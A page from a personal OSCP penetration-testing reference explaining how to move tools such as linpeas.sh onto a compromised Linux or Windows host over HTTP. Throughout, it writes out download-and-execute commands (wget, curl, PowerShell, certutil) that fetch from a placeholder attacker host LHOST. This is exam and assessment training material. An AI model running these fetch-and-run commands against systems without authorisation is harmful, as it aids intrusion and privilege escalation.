Skip to content
leg3ndProjects & tools
01Home02Projects03Tools04Notes
GMT+8
O/ OSCP exploitation reference
Workspace controls Memory only · 0 steps
Visualize path ↗
Command values 0 filled

Temporary connection values clear on reload. Passwords, hashes and tickets remain placeholders. Check address-family syntax in the selected command.

Reference index ↗ Search all procedures & variants ↗
01Discovery02Enumeration03Initial access04Usable access05Local privilege06Active Directory07Internal access08Evidence & reporting

QUICK REFERENCE

Discovery›Services›Web mapping›Web exploitation›Credentials›Public exploits›Sessions & transfers›Linux escalation›Windows escalation›AD enumeration›AD identity attacks›Lateral movement›Pivoting & tunnels›Execution troubleshooting›Integration & evidence›
174 methods · 15 topicsFull reference on GitHub ↗Commands · scripts · next steps
Tools/OSCP/Usable access/Sessions & transfers
← All sessions & transfers tasks

Transfer over HTTP using Linux or Windows clients

CommandsIf → thenExplanation & examples

Needs: Correct server bind and served directory; target-to-server route, available downloader and writable destination

Shell commands

On Kali, serve the directory containing linpeas.sh:

# Baseline
cd /path/to/tools
python3 -m http.server 8000 --bind 0.0.0.0

# On the Linux target, download into a writable directory and run it
wget http://LHOST:8000/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh | tee /tmp/linpeas.txt

# Serve a fixed directory without changing folders
python3 -m http.server 8000 --bind 0.0.0.0 --directory /path/to/tools

# Linux target with curl
curl -fL http://LHOST:8000/FILE -o /tmp/FILE

Read: Kali should log an HTTP request and a successful response. A downloaded enumeration script is a lead generator; manually verify any escalation candidate.

Run inside PowerShell

# Run inside PowerShell
Invoke-WebRequest -Uri "http://LHOST:8000/FILE" -OutFile "C:\Windows\Temp\FILE"

Windows target with PowerShell

REM Windows target with PowerShell
powershell -NoProfile -Command "Invoke-WebRequest -Uri 'http://LHOST:8000/FILE' -OutFile 'C:\Windows\Temp\FILE'"

Windows alternatives

# Windows alternatives
(New-Object Net.WebClient).DownloadFile('http://LHOST:8000/FILE','C:\Windows\Temp\FILE')

Windows alternatives

REM Windows alternatives
curl.exe -fL http://LHOST:8000/FILE -o C:\Windows\Temp\FILE

REM Windows alternatives
certutil.exe -urlcache -split -f http://LHOST:8000/FILE C:\Windows\Temp\FILE

On Kali or Linux

Availability and policy can differ by host. certutil may leave URL-cache artifacts; remove only artifacts you created when cleanup is appropriate.

On Kali or Linux:

# On Kali or Linux
sha256sum FILE
sha256sum /tmp/FILE

On Windows

# On Windows
Get-FileHash -Algorithm SHA256 "C:\Windows\Temp\FILE"

Decisive output: matching SHA-256 values establish that the two saved files contain the same bytes. A successful HTTP status alone does not.

Verify → Compare sha256sum on Linux or Get-FileHash -Algorithm SHA256 on Windows, and verify destination permissions.

If it fails → No request: route/bind/egress. 404: path/name. Matching file but no execution: interpreter/format/control. Diagnose each separately. More detail ↓

If → then

  • A downloaded/generated artifact exists but does not run → Match an artifact to its executable consumer and runtime

    Needs: Matching OS/process architecture, interpreter/loader/runtime, intact bytes, execute/destination permissions and compatible format

  • A Linux foothold is available; run an early sweep for sudo rules, file capabilities, credentials and writable privileged paths → Use enumeration tools to generate manually testable candidates

    Needs: Verified target UID and architecture, a working shell/runtime, a reviewed transferred tool and a writable report location

  • A Windows foothold is available; run winPEAS or a focused survey for service/task permissions, token privileges and credentials → Turn automated Windows findings into manually verified candidates

    Needs: Verified current token and architecture, a compatible reviewed executable or allowed PowerShell runtime, and a writable report location

  • A Windows source can reach a temporary assessment-side SMB service → Move Windows files through an authenticated SMB share

    Needs: Inbound SMB listener on the server, outbound TCP/445 from the client, compatible SMB version and explicit share credentials

  • Only a raw TCP tool and a direct or forwarded connection are available → Stream a file over a direct TCP connection

    Needs: Unambiguous sender/receiver direction, compatible Netcat listener syntax and a writable output file

  • The existing command channel permits text but no convenient file-transfer connection → Move a small artifact through a text-only channel

    Needs: Available Base64 encode/decode, adequate command length and a writable destination

  • The target has an FTP client and simpler transfer routes are unavailable → Use a temporary FTP transfer as a constrained fallback

    Needs: A deliberately selected temporary server, correct served directory, control/data paths and binary transfer mode

No useful finding → another task in this topic. Failed check → resolve the failure before ruling out the path.

Explanation & examples

Transfer over HTTP using Linux or Windows clients

USE WHEN
A tool/artifact must reach a target that can make an HTTP request
STARTING ACCESS
Verified command execution or authenticated remote access and a known network path
RESULT
A downloaded file whose destination bytes can be verified

Recognize the clue

From the target's command context inspect downloader availability, writable destination and a route to the fixed served directory.

command -v curl wget
ls -ld /tmp
ip route get LHOST
SYNTHETIC EXAMPLE OUTPUT
/usr/bin/curl
/tmp: writable to current user
LHOST via GATEWAY dev INTERFACE

Means: A downloader, destination and plausible outbound path enable an HTTP transfer candidate.

Confirm: Check actual server bind/directory, HTTP request/response and source/destination hashes.

After validation
The requested file is retrieved and its bytes match: use the verified copy.
Ruled out in this context
No permitted target-to-server route exists: reject this HTTP pull direction.
Still inconclusive
A route without a logged request leaves bind/firewall/DNS unresolved.

Troubleshooting: No request: route/bind/egress. 404: path/name. Matching file but no execution: interpreter/format/control. Diagnose each separately.

Additional prerequisite checks

python3 -m http.server 8000 --bind LHOST --directory /PATH/TO/FILES

On Kali, serve the directory containing linpeas.sh:

On the Linux target, download into a writable directory and run it:

Read: Kali should log an HTTP request and a successful response. A downloaded enumeration script is a lead generator; manually verify any escalation candidate.

HTTP variants — fixed server directory, curl, Windows and alternate built-ins

Serve a fixed directory without changing folders

Python's simple server supplies downloads over unencrypted HTTP. Stop it with Ctrl+C when finished.

Linux target with curl

-f reports HTTP errors and -L follows redirects. Use a writable destination.

Windows target with PowerShell

Run inside PowerShell:

From cmd.exe, invoke PowerShell explicitly:

Windows alternatives

Availability and policy can differ by host. certutil may leave URL-cache artifacts; remove only artifacts you created when cleanup is appropriate.

Compare the source and destination hashes.

On Kali or Linux:

On Windows:

Decisive output: matching SHA-256 values establish that the two saved files contain the same bytes. A successful HTTP status alone does not.

Why it works

The target is the HTTP client even when the assessment host started the operation. A 404 is a server-path problem; no request is a different boundary from successful download with incompatible execution.

Worked example · hypothetical

Observation: a download reports success but the tool fails. Test: compare source/destination SHA-256 before execution. Illustrative output: hashes differ and the destination contains an error page. Interpretation: correct the HTTP path and repeat the transfer.

New identity, privilege, host or route? Re-enumerate → All topic tasks →

Study guide ↗Full procedure ↗Cheatsheet ↗
HomeProjectsToolsNotes
Interactive toolsOSCP notes ↗Extended OSCP workspace ↗Attack-path visualizer ↗

© 2026 Armaan. Built with curiosity.

GitHub ↗GMT+8